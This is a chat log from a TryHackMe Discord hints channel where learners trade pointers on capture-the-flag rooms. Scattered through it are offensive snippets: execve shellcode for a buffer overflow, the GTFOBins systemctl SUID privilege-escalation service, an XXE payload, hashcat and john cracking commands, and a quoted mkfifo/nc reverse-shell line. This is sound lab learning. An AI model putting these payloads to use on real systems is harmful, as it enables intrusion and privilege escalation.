room-hints

[oblique cliff]

have you tried that?

[eager folio]

I am trying that now

[final mortar]

Also stick to one channel at a time in future

[oblique cliff]

i told him to come here since he only wanted a hint 🤓

[eager folio]

Also stick to one channel at a time in future
@final mortar

Yes sorry Someone told me that this one wold be better

[final mortar]

I did say "in future", but ok

Yes sorry Someone told me that this one wold be better
@eager folio Yeah, it's all right. If you are not sure about something in future, read the desc 🙂

[eager folio]

yes sorry

is it ok to give the ip address of the server i am working on here or do i have to hide it ?

[final mortar]

Nothing to apolize for

is it ok to give the ip address of the server i am working on here or do i have to hide it ?
@eager folio It's all right

[eternal brook]

dont know what else to try in my request....
@eternal brook guys anyone really stuck?

[eager folio]

I get that when I try to connect

[final mortar]

is ssh running on port 22 ?

[eager folio]

yes

I might not have used the right username actually

[stuck fractal]

Wrong username = connection closed

is ssh running on port 22 ?
@final mortar that would be connection refused, rather than closed

[eager folio]

Ok so I tried every username. The only one that asks me a password is root. But the problem is that I never had to find a password in the room before... I don't know why I can't understand what is asked and I start feeling dumb

[stuck fractal]

You're not meant to be asked for a password

Did you read the file on the share?

It gave you some names

Unix usernames are always lower case

[eager folio]

Do you mean "Working From Home Information.txt" ?

I am reading everything again and I am on it now, there is no username giving in this file, am i supposed to find one using the names ?

Ok it was it

thnak you for your help

I have had a lot a difficulties for something pretty easy at the end, sorry for the trouble on such an easy thing

[oblique cliff]

no sorry necessary, just learn from the experience

[eager folio]

I'll do

[white salmon]

a

can anyone help me with buffer overflow ?

[oblique cliff]

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

• What room you are on
• At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
• What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

[white salmon]

i am doing binex i ve found that i can overwritten the rbp which i think is the return adress after a called fucntion finish, so if i can write my shell code in the stack and make rbp points to an adress in the stack which is the start of my shellcode would it work or should try smth else

i am trying to learn more on binary exploitation

[oblique cliff]

that sounds good to me

there are some great rooms to learn binary exploitation and RE

[white salmon]

yeah i ve seen that tryhackme has a lot of binary exploitation rooms which is good for me to learn

[green prism]

I'm stuck at Task 2 - /room/scripting. I'm just trying to make a basic connection to the port and waiting for a response but nothing happned. Running nmap to make sure what ports are open gives me this:

given that the task talks about 3010 I'm assuming this is where I want to connect

import socket, sys

if len(sys.argv) != 3:
    print("Usage: python3 socket.py [ip_address] [port]")
    sys.exit()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((sys.argv[1], int(sys.argv[2])))

print("Connecting to " + sys.argv[1] + ":" + sys.argv[2] + "...")

try:
    message = '1'
    print('sending ' + message)
    s.sendall(message)

    amount_received = 0

    while amount_received <= 1:
        data = s.recv(32)
        amount_received += len(data)
        print(': ' + data)

finally:
    print("Closing...")
    s.close()

and for some reason yesterday this script was working. I only changed the hard coded port to int(sys.argv[2]) and for that I started getting this:

i'm so lost

[oblique cliff]

you're giving it a string, it doesn't take strings as an argument

either encode it or make it a byte object before sending it

[tidal sedge]

Byes objects are b'

[green prism]

ok now i'm really confused

http://<machines_ip>:3010 this page wasn't working yesterday

[oblique cliff]

unconfuse thyself

[green prism]

alright now that I can see the page do I need to code so the script gets the html data?

[oblique cliff]

havent done that specific room so i dont actually know what you need to do

[green prism]

I'm assuming I have to send HTTP headers

[white salmon]

i ve written this 3 offset = 608
4 rbp_value =b"\x78\xe0\xff\xff\xff\x7f\x00\x00"
5 shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f \xb0\x3b\x0f\x05"
6 payload = b"x\90"*(608-len(shellcode)) + shellcode + rbp_value
7 print(payload)

but rbp values has 0x395c5c7830395c5c instead of the rbp_value

0x395c5c7830395c5c has some \x90 but in a string format

[green prism]

I just don't get why some tutorials on sockets don't need to encode. And it actually worked for me yesterday without doing it (or didn't and it didn't work because of that)

[trim haven]

Might be different versions 🤷‍♂️

[green prism]

but anyway it works now, now I just need a way to make it functional

[white salmon]

Hey, for the brooklyn 99 room, i completed the room with 2 differents ways , but i find there is a third created user "amy" there is a third way to get inside the room thats involved such user?

[true slate]

Hey, Im doing the alfred room and I have switched shells but I am unable to input any commands and it is just blank

[trim haven]

Have you pressed enter a few times to make sure the prompt is there?

(also screenshots would help)

[true slate]

Yeah ive tried it

Working on the ss now

[trim haven]

Thanks :D

[true slate]

Gotta transfer it from a vm and its taking its time

[trim haven]

You can open discord in the browser of your vm ;)

[true slate]

Yeah I was just avoiding it because id have to sign in

[trim haven]

Yeah I understand

[true slate]

probably should cover the info to be safe but oh well

[trim haven]

VPN IPs and Machine IPs are safe here!

[true slate]

Figured they would be

but never know

Any suggestions?

[trim haven]

The payload isn't the one you selected

You tried to use the windows/meterpreter payload but that one has used the generic/shell_reverse_tcp

[true slate]

ah okay

Fixed now thanks a lot

[trim haven]

:D

[junior latch]

what is wrong with this? Am i being dumb or something?

[trim haven]

.\launcher.bat

[junior latch]

Still on PS Empire, i got the file across

no way

dont

[white salmon]

uh

[junior latch]

nah same result

[white salmon]

It's not a linux terminal.

. doesn't mean anything in windows

[junior latch]

yeah so i did the full path

[trim haven]

Oh shoot thats for meterpreter

[junior latch]

c:pathtofile

i tired it all anyways

[trim haven]

Do you have meterpreter session?

[white salmon]

Are you sure the launcher.bat is in the same directory as you

[junior latch]

i dont

[white salmon]

and are you sure you typed the full path correctly

[trim haven]

I'm sure to use .\ you need to be in a meterpreter session

[junior latch]

i dont have meterpreter

i think you're right though

[trim haven]

Type the path and name of the batch file, and press Enter: C:\PATH\TO\FOLDER\BATCH-NAME.bat

[white salmon]

What's the contents of launcher.bat

[trim haven]

Its for empire

it's a listener

[white salmon]

it looks like something got messed up in there

because it's echoing out errors from the commands ran in the launcher.bat

[green prism]

anyone know why this python code doesn't print "test"?

[trim haven]

Any errors @green prism

[green prism]

nope it just hangs

it prints just before the while loop

[white salmon]

what is that

symbol

[trim haven]

Probably can't get the connection

[white salmon]

=/=

[green prism]

ah yes fira code

[trim haven]

Not equal to

[green prism]

https://github.com/tonsky/FiraCode

[white salmon]

@trim haven Yes, I know... but I mean, is it the actual syntax of the language?

[trim haven]

I'm sure it would error if it was an issue @white salmon

Let me test

[green prism]

oh im dumb

i had 2 files and i was editing one and running the other

[trim haven]

Oh haha!

Happens to the best of us

@white salmon See it errors if it can't run it

And as it was hanging it wasn't the issue

As I'm sure an1me has it installed

[white salmon]

Yes, I didn't know about Firacode

so thank you

[trim haven]

<3

[hollow fox]

sorry if I interrupt somebody but why doesnt it execute even tho I run it as sudo

[trim haven]

You're not executing it

./filename to execute it

You're checking the permissions of it

[hollow fox]

wrong screen

w8

[trim haven]

Okie

[hollow fox]

now

[white salmon]

You're still not running it.

[hollow fox]

i run chmod

[white salmon]

That's not running it

chmod changes the permissions of the file.

[hollow fox]

yaeh

[white salmon]

ls states information about the file

[hollow fox]

thats why i checked them with ls -l

[trim haven]

You're adding a SUID binary too

[hollow fox]

i want to set suid

[white salmon]

Right, please re-read what Jabba said earlier.

on how to run/execute files.

[hollow fox]

i do not want to execute it

[trim haven]

(btw the SUID binary hasn't been set)

[white salmon]

sorry if I interrupt somebody but why doesnt it execute even tho I run it as sudo

[trim haven]

Also why are you trying to add an SUID binary to it

[oblique cliff]

He was asking why the chmod doesn’t execute

[hollow fox]

run the command i inputted which clearly says chmod

[oblique cliff]

James answered you earlier

[trim haven]

Oh you need root perms

You need to physically be the root user

[oblique cliff]

u+s

[trim haven]

w0t

I thought he tried that already

[hollow fox]

yeah

[oblique cliff]

All I see is +s

[hollow fox]

i tried u+s as well

but not on the screen

[white salmon]

Just do chmod 755

[hollow fox]

(btw the SUID binary hasn't been set)
@trim haven wdym ?

[trim haven]

ignore that

[hollow fox]

Also why are you trying to add an SUID binary to it
@trim haven I want to try to escalate privs on my own system since I am not capable of doing so on Vulnversity

[trim haven]

I don't want to help you

But have you run the file?

[hollow fox]

well

I used a bash script

so technically yeah

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

[trim haven]

Okay so

This is a little buggy

The systemctl sometimes plays by it's own rules

[tidal sedge]

[trim haven]

So you have to play around with the way you're getting the information you need

[hollow fox]

hm ok

[trim haven]

@tidal sedge

[tidal sedge]

[white salmon]

Also, I dunno if you can actually put the SUID bit on the regular systemctl binary

From what you just pasted, I can tell you're trying to use the GTFOBins exploit for systemctl

and if you read, it says to make a local copy.

sudo sh -c 'cp $(which systemctl) .; chmod +s ./systemctl'

[tidal sedge]

He's doing it on his Kali machine for some reason 🤔

🧐

[white salmon]

right yeah, it's weird but

¯_(ツ)_/¯

[tidal sedge]

Then this doesn't belong in #room-hints

[white salmon]

@hollow fox You've been doing it wrong the whole time, please re-read gtfobins.

and follow the instructions

[hollow fox]

ok

I dont get it

but I also modified the payload

Then this doesn't belong in #room-hints
@tidal sedge but in ... ?

@white salmon

[white salmon]

#general

[hollow fox]

I was sent here from #general

[oblique cliff]

That’s cuz they thought you were talking about a specific room

They were wrong

[white salmon]

Are you doing this for a THM room, or are you just trying to learn how to exploit your own machine?

If it's the latter, then sorry, it belongs in #general

[hollow fox]

I am doing it for vulnversity

so a room

but I thought it maybe does not work bc of the shell cuz its nc so I tried to replicate it on my own machine

[trim haven]

That won't work

Most exploits on machines are purposely set that way to be exploited

E.g. outdated versions

[white salmon]

Technically the method he's trying to use could work on his own machine (if he hasn't touched the default Kali perms or anything)

since it's only merely abusing sudo privs

but you'd be getting root on your own machine (and creating a dangerous backdoor)

You have to perform the exploit on the Vulnversity machine.

[hollow fox]

is it a deal since I am not exposed to the internet ?

[white salmon]

it'll work- you're just doing something wrong probably

[hollow fox]

yeah prolly

[white salmon]

You're exposed to the internet when you're working with THM

[hollow fox]

Oh I thought I am in a seperated Vlan

well

[white salmon]

you're generally safe, but it's good practice to not leave random exploits in your machine and stuff

[hollow fox]

yessir

how do I do this code theme in dc

the box around the code so it doesnt look ugly in dc

ykwim ?

[arctic crystal]

https://support.discord.com/hc/en-us/articles/210298617-Markdown-Text-101-Chat-Formatting-Bold-Italic-Underline-

@hollow fox

[hollow fox]

thanks bud

echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF```

so I pasted this in the shell

and it doesnt execute ExecStart

even tho there is /bin/systemctl enable --now

[white salmon]

Again.

you didn't read the instructions clearly

It says to make a copy of /bin/systemctl

and then to give that copy the SUID bit you've been struggling with.

[hollow fox]

why that ?

sorry if I seem dumb or some shit

but it already has suid set

I dont get why I need to make a copy

[stuck fractal]

You're not meant to copy it for vulnversity

[white salmon]

Also possibly ^

GTFOBins isn't a deus ex machina- it needs specific conditions.

and only if those specific conditions are already met- then you can exploit whatever it is to privesc

[hollow fox]

hm

[white salmon]

If you're still stuck, there's a lot of writeups for Vulnversity that you could research on and see if you can find out the best method for what you're trying to do.

[hollow fox]

but to exploit systemctl I need to write a service by myself right ?

that basically does anything but with root prevs (bc of suid)

right ?

[stuck fractal]

That's what the GTFOBins one does, it gives you a shell

[hollow fox]

I tweaked around the payload several times but didnt execute once

[white salmon]

Probably shouldn't be playing with the payloads.

[hollow fox]

makes sense

but i dont know what else could cause this issue

[eager folio]

https://tryhackme.com/room/networkservices | Task: 7 | question #6 : I try the command: "sudo tcpdump ip proto \icmp -i tun0" and it returns: "tcpdump: tun0: No such device exists
(SIOCGIFHWADDR: No such device)"

How do I know what I have to put to replace tun0 on my config ?

please

[white salmon]

Which machine are you running the command on?

[eager folio]

kali

[white salmon]

Are you connected to the VPN?

or is this the in-browser Kali VM?

[eager folio]

yes

no it is my own VM

[white salmon]

Are you connected to the VPN inside of Kali*

Do you see a tun0 when you type ip addr

[eager folio]

I have my VM working on my Windows 10, connected to the vpb

vpn

[white salmon]

oh, so OpenVPN is running on your regular windows desktop?

[eager folio]

yes

[white salmon]

That's incorrect- OpenVPN should be running inside of the Kali VM.

[eager folio]

ipaddr doesn't exist

[white salmon]

you'll have to disconnect from OpenVPN on your windows computer, and run it on the Kali VM

[eager folio]

ohhh i didn't know

thank you

thanks it works now

sorry but I have a lot of difficulties tonight...:

for question #6

it says that

[white salmon]

you have to replace [local tun0 ip] with your tun0 ip

[eager folio]

lol ok

what is it EDIT: Might have found

[graceful magnet]

||Anyone could help me with reverse shell on mr.robot box? I am using https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php for the 404 appearence and nc -lvnp 4444 to get the shell. But nothing happens. I open /404.php or any fake page on the host and nothing happens as if it wont trigger. I have set tun0 ip to the reverse shell script||

mrrobot room

[oblique cliff]

@graceful magnet why don’t you change the page to something else first to confirm you can change it properly?

[graceful magnet]

i had listened to wrong port

with nc :|

[oblique cliff]

👀

[rose moat]

Hi i need some help ( Networking Room ) to find second common private home range?

I entered but still giving me not correct

[oblique cliff]

Google it 🙂

[last nova]

A - 10.0.0.0/8
B - 172.16.0.0/20
C - 192.168.0.0/16

[rose moat]

@Korone Gang I did but still giving me not correct

format asking me to her " xxx.xxx.x.x so it should be C address but giving me its not correct error

[last nova]

oh boy it's one of those questions

lemme see here

[trim haven]

Well if the first one is 0.0 maybe the value for the second one is slightly different

[rose moat]

first home default range is correct : 192.168.0.0 but the second format xxx.xxx.x.x no getting anything

[trim haven]

you can find the answer you're looking for on google btw, it's a little hard to hint

[last nova]

try incrementing the third octet

[white salmon]

Remember, 192.168.x.x is the most important part

the .x.x allows a much larger number of (sub)networks and machines just from those two separate octets

[stuck fractal]

Typically, /24. That means the last octet varies for a network.

So what's the next network along from the first answer

[toxic scarab]

any hints for Ra2 yet? found a bunch of stuff that looks interesting, but i'm having no luck with getting an initial foothold

[pulsar oar]

Anyone on here good for a hint on Hackpark, task 4, question 3. Ive found the service & confirmed it with walkthroughs but my answer keeps getting rejected...Any clues?

[stuck fractal]

The answer was changed because it was wrong

You want the service name as given by sc query

[pulsar oar]

Thanks!

[mossy ermine]

Guys, in 'Lian_Yu' I'm stucked after finding the hidden directory || /island/2100||. I really don't know what I should do and the hint tells me nothing. Help plz 😋

[atomic shuttle]

can i confirm with anyone about anonymous-playground intended way. Just to confirm

[lusty wigeon]

sure

[sinful plaza]

can someone give me a nudge in the pokemon room priv esc part

just a hint pls

[honest yew]

guys

at blaster

nothign there?

[sinful plaza]

nothign there?
@honest yew ||taskbar browser right click on it ||

[honest yew]

nothing

theres just one browser

[sinful plaza]

nothing
@honest yew ||right click on the browser ||

theres just one browser
@honest yew yes that browser

[honest yew]

?

[sinful plaza]

?
@honest yew ||reopened last session||

[honest yew]

nothing

[sinful plaza]

let me send a screenshot

[trim haven]

Read rule 13

[tidal sedge]

!rule 13

[proud scarab]

Rule 13: When asking for help/tech support please perform research to your fullest ability. Mods and Community Mentors have the right to refuse helping those who have not done troubleshooting/research on their own first. Clearly phrase your questions as we (fortunately for all parties involved) cannot read your mind. Please include the room, task, and question number in your question if possible.

Although we are a a learning platform, we politely ask that you respect the competitive nature of newly released challenges. As such, no hints for new challenge boxes should be given immediately after a release, unless specifically allowed by the content creator.

[verbal barn]

Is anyone available to give me some advice in approaching the beginner path scripting task 2 gotta catch em all

[trim haven]

Is the task going to each webpage getting the data @verbal barn

[verbal barn]

yes it is, i have got a socket connection to first web page but unsure on how i am supposed to get the data to analyse it

[trim haven]

Uhh off the top of my head I don’t know how to do it with sockets

But I used requests as it was much easier

[verbal barn]

aww ok, so its not set in terms of approach

i am free to try other methods, never covered socket at uni, and the documentation wasnt that helpful

[trim haven]

Mhm the task does say sockets

But in real life you won’t always use the common way

I’d recommend to research “BeautifulSoup” and “Requests”, if you’re set on using sockets, i can try and guide you but you’ll have to give me a few minutes to look at the docs

[verbal barn]

thanks man, ill give the research another go

[trim haven]

:)

[verbal barn]

got the page sorted just gonna try the soup to identify the tag with the next port link

[idle ruin]

Need hint it Anon Playground v2 stuck after getting access to zYdHuAKjP

[verbal barn]

🙂

[trim haven]

Rule 13 @idle ruin

[wooden mist]

^ the room was just released so there won't be any hints/help for a while

only 8 users finished it so i'd hold with asking for help/hints

[young spruce]

where to find the request with the set-cookie header in the burp suite room

anyone?

[unkempt frost]

hello i'm having problems with task 21 from the room learn linux. i've already read the write-up for this room and the answer seems to be more simple than what i'm making it out to be. i've tried to make an environmental variable in two different places but none of them seem to run when i try to execute ./shiba2. anyone have any ideas?

[trim haven]

Sometimes the permission denied is a bug from messing up before-hand. Terminate the machine, re-deploy and log in as shiba2. Perform the task again, make sure you're not touching a file called $test1234 as it is not required. If there are any more issues ping me :)

[unkempt frost]

@trim haven thank you for helping 🙂 i've already tried that and this is the full screenshot to show i've terminated the previous tries and redeployed a new one

[trim haven]

Do you mind if I dm you? I'd rather not spoil anything here

[unkempt frost]

sure, thank you

[amber grail]

Can I have a hint in here https://tryhackme.com/room/ctfcollectionvol1
Challenge # 17 Sounding QR
I already made the sound very slow but still speech to text cannot guess it even myself haha

any hints?

[median compass]

hard to know how to hint on it @amber grail

[final mortar]

@honest yew Have you solved it yet ?

If not I can provide you the cve you are looking for in the history

Can I have a hint in here https://tryhackme.com/room/ctfcollectionvol1
Challenge # 17 Sounding QR
I already made the sound very slow but still speech to text cannot guess it even myself haha
@amber grail It's not that hard really. I can tell you that it says two words , and the last word is 2 letters

[merry helm]

Can I have a hint in here https://tryhackme.com/room/ctfcollectionvol1
Challenge # 17 Sounding QR
I already made the sound very slow but still speech to text cannot guess it even myself haha
@amber grail There are some audio transcription sites, can help you...

[amber grail]

got it

thanks

[final mortar]

Awesome

[elder sand]

Not really asking for a hint, just need to be pointed in the right direction on where I can learn about https://tryhackme.com/room/vulnversity privilege escalation task. I guessed at the correct SUID file that looked suspicious, but I don't know why it was suspicious and I know I need to change an environment variable, but where should I be looking to learn something like this?

[white salmon]

@elder sand Linux enumeration scripts and just general snooping of possible hidden files used by users

you'd be surprised at how people try to hide text files and stuff purely through obscurity

[elder sand]

@white salmon would an enum script get me access to root files such as the root flag?

[trim haven]

No

Enum scripts look for things on a system that could be possibly used for privilege escalation :3

some of them it depends, you should google them see what you can find

[elder sand]

That's what I figured. I was just wondering a good place to learn this sort of privilege escalation?

[trim haven]

Payload all the things might help

but there are automation tools such a linPEAS and winPEAS

[elder sand]

Thanks! I'll take a look at these

[untold tartan]

@elder sand I just completed that one, I will say, I wouldn't have known about part of it, without the help of the walkthrough. I realized the one to go for, but didn't realize how to build it. Don't feel bad if you need to use a walkthrough, if you learn 🙂

[near shoal]

smashing my tiny brain against the Anonymous Playground 😄 good stuff on this one 😄 every time I think I found something new, it makes even less sense

[toxic scarab]

it's a fun room

no hints yet, though. rule 13

[near shoal]

aye

should be venting on the general chat instead lol

[elder sand]

@untold tartan yeah I looked at a few, just need to understand these techniques so I don't have to rely on a walkthrough.

[untold tartan]

@elder sand if you find something that helps outline that, share if you don't mind, because I had no idea it was possible >.>

I mean, I guess I did, just not the use in privesc

[elder sand]

@untold tartan will do

[untold tartan]

Hrmm, working on the anonymous playground, it's... Yea.

[stuck fractal]

Please bear in mind it's a new challenge room, and avoid discussing it here 🙂

[untold tartan]

Gotcha

[round rampart]

hi can some help me in steel mountain

[stuck fractal]

I recommend just asking the question straight away, rather than asking if anyone can help

[round rampart]

i finished the box i just cant understand this Take a look at the other web server. What file server is running?

this question

Http File Server but it says incorrect

[stuck fractal]

It wants the name of the product

You found it for the metasploit module

[round rampart]

alright gotcha

woah finished it

thanks @stuck fractal is there any box that goes around windows ?

[stuck fractal]

Go to hacktivities

Type in "Windows"

[round rampart]

like learn linux

[stuck fractal]

Not yet

[round rampart]

ahh k

[clear quail]

Hey guys.
In this linux challenge I am at question: Find the user which is apart of the "hacker" group and read flag 36.. But I dont understand that question. Know whats in the group file but what does this is apart of the "hacker" group mean?

[stuck fractal]

Are you familiar with groups on Linux?

If not, I recommend researching those.

[clear quail]

kind of. u have user, groups and others

[stuck fractal]

No, that's file permissions

[clear quail]

and groups represent anther level of rights

[stuck fractal]

Please go and research Linux/Unix groups

[clear quail]

ok

so there is more to it then just permissions

haha found it.

a little bit around the corner thinking. but yeah. ||look for a file owned by that group|| did the trick

[solid patrol]

james can i dm u about privlage escalation on overpass2 i already did it just to confirm that was the intended way?

[stuck fractal]

The intended way is fairly obvious?

Like... Should be staring you in the face once you log in

[white pike]

guess I used an unintended way too 😅

[stuck fractal]

DM @white pike @solid patrol

[steep jetty]

Stuck on the final stage of Anonymous Playground 2. It definitely highlighted my need to understand R2 better. Yikes.

[stuck fractal]

Hi, please don't ask for help or hints yet as it's still a new challenge box

[steep jetty]

I'm not asking for help, just making a comment. No worries.

[stuck fractal]

Then I'd recommend a different channel really

[steep jetty]

I just won't make comments, really.

[idle ruin]

hey @steep jetty can i dm you regarding anon playground

[stuck fractal]

!rule 13

[proud scarab]

Rule 13: When asking for help/tech support please perform research to your fullest ability. Mods and Community Mentors have the right to refuse helping those who have not done troubleshooting/research on their own first. Clearly phrase your questions as we (fortunately for all parties involved) cannot read your mind. Please include the room, task, and question number in your question if possible.

Although we are a a learning platform, we politely ask that you respect the competitive nature of newly released challenges. As such, no hints for new challenge boxes should be given immediately after a release, unless specifically allowed by the content creator.

[shut pollen]

Guys can anyone help out with a lil trouble ? What to do in case msf tells to forceexploit ?

[stuck fractal]

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

• What room you are on
• At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
• What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

[shut pollen]

Well am in bolt CMS and the maf exploit throws an error

[stuck fractal]

Then you might be using the wrong exploit

[shut pollen]

Na am sure about the exploit because there was a check box about the exploit

[stuck fractal]

Then I'd recommend checking your settings

And your VPN

[shut pollen]

Ok.....

Also how do we find the cms version ?

Nmap didn't help

[stuck fractal]

Enumeration

[shut pollen]

Well there is a reference but it's incorrect

This exploit is available only for the latest version

Hence the cms should be the same version as well

But it isn't taking that as an answer.

[stuck fractal]

Wat

It's definitely not the latest version

[shut pollen]

Yes it is

[maiden flower]

anyone around done jigsaw 2?

have a specific question

please

@shut pollen if you're talking about bolt I ended up bruting it

[trim haven]

The answer is literally on the page

Bolt does not require brute forcing in any way.

[maiden flower]

on bolt? I missed it then

[shut pollen]

Yeah it's there

[maiden flower]

but lets be honest it took about 5 guesses and only cos its higher than I would have expected

[shut pollen]

But msf won't let me have a session

[maiden flower]

so anyone for jigsaw2?

[stuck fractal]

Well, if the exploit is for "the latest version" then it's not going to be the right one @shut pollen

[toxic scarab]

what is your question?

and it might be better to ask in #room-help if you want more than a hint

[maiden flower]

well I am pretty sure I know what to do but I tried every combination and nada

[stuck fractal]

The port knocking is broken on THM I believe

You need to get the vulnhub one

[maiden flower]

even that isnt working ....

have both running at the moment

tried udp ..... too

[shut pollen]

What's the username for bolt || admin || or || jake || ?

[gaunt herald]

Try everything

[shut pollen]

Yeah did that

[gaunt herald]

If none were good then reread, it's there
You'll find it so obvious when you got it xd

[shut pollen]

I got the username

[] Started reverse TCP handler on <My IP>:4444
[] Executing automatic check (disable AutoCheck to override)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. Target is not a Bolt CMS application. Enable ForceExploit to override check result.
[*] Exploit completed, but no session was created.

[stuck fractal]

It's definitely not the latest version

[shut pollen]

This is the issue

[stuck fractal]

It's not being detected as bolt, so something is wrong here

Check your settings

Check your VPN

[maiden flower]

anyone prepared to check syntax on jigsaw2 with me just incase I have missed something though I have tried various tools for the job

[gaunt herald]

If it was supposed to be done with metasploit... then how th did I finish the room?? o-o
Used a lower version than the room's CMS

[stuck fractal]

Update your metasploit

It works just fine

[maiden flower]

@gaunt herald exactly what confused me about the cms version question.... (not spotting it on the page)

[stuck fractal]

It's there, if you keep looking

[maiden flower]

not going back to it 😄 the whole box took like 20 minutes

[shut pollen]

Metasploit is updated man.

[stuck fractal]

There's really nothing wrong with the room

[shut pollen]

Also , How did you get the CMS version ?

Must be my connection somehow.

[stuck fractal]

By enumerating harder

[maiden flower]

definitely nothing wrong with it

[shut pollen]

Nothing Good Today

8-2

[indigo sluice]

Hence the cms should be the same version as well
@shut pollen might wanna check everything again and pay attention to the web page 👀

[shut pollen]

Okay man

[shut pollen]

Got the flag , still need the version

[trim haven]

Have you found the username and password?

Because if you have maybe you can use them somewhere on the website..?

[shut pollen]

Yeah

[ebon vine]

Hello everyone, I'm kind of stuck on this room:

https://tryhackme.com/room/networkservices

task 4 step 8

[trim haven]

@shut pollen Sometimes CMS users don't change default directories......

[ebon vine]

I'm able to connect to the smb service, however I'm not able to copy the .ssh directory on my local computer.

[trim haven]

Are you using mget

[ebon vine]

Once I connected, I tried these commands:

smb: \folder> recurse ON
smb: \folder> prompt OFF
smb: \folder> lcd /local/source/directory
smb: \folder> cd remote/target/directory
smb: \folder> mput *

where the \folder\ is .ssh\

[trim haven]

None of those will get the files

Try looking at the documentation

Or use the help command

[ebon vine]

are these not to copy the files?

[trim haven]

Do any of them pop up with a message saying Do you want to copy these files or something similar to it?

[ebon vine]

Nope

I want just to be able to download the folder in my desktop

[trim haven]

Well you're using the wrong command

[ebon vine]

I just tried your suggestion, typing " mget .ssh ~/Desktop"

[trim haven]

all you need to do is go to the folder that has the things you want do download

and type mget [File Name]

[ebon vine]

where the files are copied?

I mean pasted

[trim haven]

To the directory that you ran the smb command to connect

[ebon vine]

ah, I see

@trim haven Thank you

[trim haven]

yw

[trim haven]

The privesc on Overpass 2, little hint I literally have no clue where to look

[stuck fractal]

ls -lAh ~ @trim haven

[trim haven]

That's a funky command, thanks I'll have a look

[stuck fractal]

It's just ls -lah that excludes . and ..

[round rampart]

Hi im doing the zth room

when i submit xxe payload it says sorry, already taken

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY hack SYSTEM 'except://id'>]>
<root>
<name>aaa</name>
<tel>a</tel>
<email>&hack;</email>
<password>&test;</password>
</root>

[earnest cairn]

need help on both

[final mortar]

It's mentioned the the above paragraph 🙂

Read carefully

[magic gale]

hello there is anyone

someone will help me

room Tartarus-Remastered

[final mortar]

- What room you are on
- At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
- What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done```

Please 🙂 as I said in room-help

[magic gale]

I have already done with nmap , gobuster, ftp

[final mortar]

What exact step/task are you stuck at

[agile wyvern]

I am stuck at the root flag question in the room "Overpass 2 - Hacked". I located the suid_bash binary but can't find a way past that. Any hints?

[stuck fractal]

You can use that

There's just something you need to know about bash and suid, which you can find really quickly online

[agile wyvern]

Thanks @stuck fractal

[tough mirage]

What date did Lola first start her photography? Format: dd/mm/yyyy

Is this buggy?

https://tryhackme.com/room/25daysofchristmas task 10

no possible answer fot that

[stuck fractal]

No it's not buggy

You need to do some maths

There's 2019 years worth of possible answers really. Or at least 1000 if you don't want to zero pad the year

[gloomy gazelle]

any ideas where to look after doing scan on anonymous room

[shut pollen]

Guys how do we crack sha256 with John ?

*salted 256

[final mortar]

Sounds like a googleable question

[shut pollen]

I did , couldn't find something of avail

[final mortar]

Which room are you doing rn

[shut pollen]

Overpass2

[final mortar]

I did it with hashcat, I can tell you that way if you want

still you can find about jtr online, i just did

[wraith tapir]

hash:salt > write in this format in hash.txt

hashcat -m 1710 -a 0 hash.txt rockyou.txt > then this command

[final mortar]

Thanks @wraith tapir

^

[shut pollen]

Thanks @wraith tapir , I did it with john

[wraith tapir]

I would like to know how tho, not very good with john

[shut pollen]

You save it in the format pass$salt

Then you use john --wordlist=/usr/share/wordlists/rockyou.txt --format='dynamic=sha512($p.$s)' toJohn

[graceful magnet]

||room:ccpentesting task7.6 How do you show options in a specific category in metasploit? cant figure out the right command, I always thought it was 'info' but appearently it isnt||

[white salmon]

||show options||

think of how that command works

[graceful magnet]

hmm ok, thanks

[hollow arch]

Then you use john --wordlist=/usr/share/wordlists/rockyou.txt --format='dynamic=sha512($p.$s)' toJohn
@shut pollen trried this but didn't work....

hashcat -m 1710 -a 0 hash.txt rockyou.txt > then this command
@wraith tapir also tried this one too and it's still didnt work

[white salmon]

same problem here

[median compass]

@hollow arch for hashcat store the password and salt, in that order, separated by a colon (:) and use the command hashcat -m 1710 hash.txt /path/to/rockyou.txt

[hollow arch]

I also tried using the backdoor to get access to the machine and it's just stack....no command works

[trim haven]

Is this overpass2 tr0x01?

[hollow arch]

Is this overpass2 tr0x01?
@trim haven yeah

[trim haven]

You can't crack the hash?

[wraith tapir]

I also tried using the backdoor to get access to the machine and it's just stack....no command works
@hollow arch you get the salt from the source code

[trim haven]

Both the salt and the hash method are in the source code

Cult don't give answers please

[wraith tapir]

yeah

[trim haven]

The link is an answer ;)

Thanks <3

[wraith tapir]

Yeah

[hazy lodge]

hey guys I am doing Lazy Admin challenge. I need to elevate privileges for the root account but I am ```$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Can you guys give me a hint
in addition to the creds I have a backup file on another account's home folder.
```#!/usr/bin/perl
system("sh", "/etc/copy.sh"); #it is another reverse shell
---------
#copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f
``````ps aux | grep mysql
mysql      954  0.0 10.8 546408 47248 ?        Ssl  12:12   0:05 /usr/sbin/mysqld``` I think since mysql isn't running with root's privileges it isn't possible to elevate privileges from that

[unreal lake]

Hi I am a bit stuck on room:metasploit task:5 #7

I have tried all the numbers.

[hazy lodge]

